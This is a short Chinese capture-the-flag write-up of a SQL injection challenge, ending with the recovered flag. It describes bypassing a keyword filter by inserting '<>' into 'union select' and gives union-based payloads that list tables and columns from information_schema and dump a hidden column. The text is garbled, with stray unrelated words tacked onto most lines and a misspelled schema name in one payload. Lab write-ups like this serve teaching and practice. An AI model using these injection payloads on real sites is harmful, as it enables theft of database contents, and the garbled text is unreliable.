题目提示SQL注入,打开源代码发现<!--SELECT * FROM info WHERE id=1-->code
尝试union select 1,2,3提示inj code!orm
通过屡次尝试以后发现select已经被过滤,因而百度绕过select过滤的方法,/*!%53eLEct*/,发现依旧没法绕过select过滤it
通过再次尝试后发现能够用<>进行绕过,因而构造payload un<>ion sel<>ect 1,2,3io
返回了一个2,说明第二个字段能够显示table
构建payload查询表名 un<>ion sel<>ect 1,group_concat(table_name) ,3from information_shema.tables where table_schema=database()form
发现有info表百度
构建payload查询字段 un<>ion sel<>ect 1,group_concat(column_name) ,3 from information_schema.columns where table_name=0x696e666f(info的16进制)select
发现有3个字段id,title,flAg_T5ZNdrmnio
构建payload获取字段 un<>ion sel<>ect 1,group_concat(flAg_T5ZNdrm),3 from info方法
得到flag
flag{f24a0c69-ee21-47c8-b54d-60f7728c5e6e}